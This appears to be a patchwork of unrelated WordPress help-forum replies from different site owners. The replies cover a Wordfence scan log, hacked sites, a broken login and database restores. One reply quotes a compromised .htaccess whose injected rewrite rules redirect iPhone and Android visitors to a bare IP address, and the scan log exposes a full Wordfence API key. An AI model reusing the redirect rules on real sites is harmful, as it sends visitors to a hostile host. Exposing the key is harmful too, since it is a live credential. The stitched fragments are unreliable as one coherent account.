studiofive

It would appear that this is theme related. Thanks for your help.

Do not need this advice.

Running Wordfence v6.0.10
Connectivity tester test passed okay.
Did notice this line of text in RED in Activity Log:

[Jun 30 11:24:00:1435663440.711433:4:error] gzinflate(): data error (2) File: /home/mer18871/public_html/wp-includes/class-http.php Line: 2116

which was followed by some lines referring to a hashing item:

[Jun 30 11:24:00] Calling Wordfence API v2.17:https://noc1.wordfence.com//malwarePrefixes.bin
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/.htaccess
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/.htaccess (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/error_log
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/error_log (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/index.php
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/index.php (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/license.txt
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/license.txt (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/readme.html
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/readme.html (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/wp-activate.php
[Jun 30 11:24:02] Scanning: /home/mer18871/public_html/wp-activate.php (Mem:44.2M)
[Jun 30 11:24:02] Hashing item in base dir: /home/mer18871/public_html/wp-admin

[Jun 28 23:35:37] Found 7 plugins
[Jun 28 23:35:37] Getting theme list from WordPress
[Jun 28 23:35:37] Found 3 themes
[Jun 28 23:35:42] Analyzed 100 files containing 1.09 MB of data so far
[Jun 28 23:56:50] Scheduled Wordfence scan starting at Sunday 28th of June 2015 11:56:50 PM
[Jun 29 09:02:28] Calling Wordfence API v2.17:https://noc1.wordfence.com//v2.17/?v=4.2.2&s=http%3A%2F%2Fmercury.org.au&k=697fbd9952ad6a3c2ba94c24bf901586d47d6408aa02a7fd84323c31ae57906799f5961612c5bfedb05d00fe1e8e04e0e2731bde5588bfe81454837a7f87305f&action=ping_api_key
[Jun 29 09:02:29] Calling Wordfence API v2.17:https://noc1.wordfence.com//v2.17/?v=4.2.2&s=http%3A%2F%2Fmercury.org.au&k=697fbd9952ad6a3c2ba94c24bf901586d47d6408aa02a7fd84323c31ae57906799f5961612c5bfedb05d00fe1e8e04e0e2731bde5588bfe81454837a7f87305f&action=send_net_404s

Thanks for the feedback, it reassures me I am not missing something. I think that small businesses are at a bit of a disadvantage with Google’s ranking methods.

I am not a programmer and found this .htaccess file;

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} “iPhone|android”[NC]
RewriteRule ^(.*)$ https://176.102.34.137/safezone [L,R=302]
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} “Android” [NC]
RewriteRule ^(.*)$ https://176.102.34.137/safezone [L,R=302]
RewriteEngine On
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ https://www.%{HTTP_HOST}/$1 [R=301,L]

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress
————————————————————-

Is this a hack?

Hosted at Webcity, has nothing to do with Yahoo. Has been suggested that site has been hacked and redirects mobiles only. Don’t know where to look for hack.

I believe I have identified and removed the jscript that was causing the problem, and emptied the cache files.

Just trying to understand what “/mnt/stor6-wc2-dfw1/429320/890212” does when it is placed before my site URL (capalabaphysio.com.au), where does it come from? What is the hacker trying to accomplish?

Tina,

Thanks for your response. I replaced my .htaccess file with the one you provided, deleted the old and uploaded a new version of my theme, found nothing suspicious in my Upload folder. There are a number of index.php files in WP, when you tell me to change to a new index.php I take it that you are referring to the one in the root directory, which is as follows;

<?php
/**
* Front to the WordPress application. This file doesn’t do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define(‘WP_USE_THEMES’, true);

/** Loads the WordPress Environment and Template */
require(‘./wp-blog-header.php’);

I now get an Internal Server Error message when I try to log in.
I cannot reinstall plugins as you suggest, as I cannot access wp-admin on my site, should I delete the plugins from their folder via my ftp program?

If I have a copy of MySQL database can I go and delete my WP files and folders via ftp, then go to my CPanel, delete and reload WP on the server and then reinstall the MySQL dbase without losing any existing pages?

Fixed via .htaccess file. Thanks for your help, much appreciated.

Okay, thanks for clearing that up.
Chris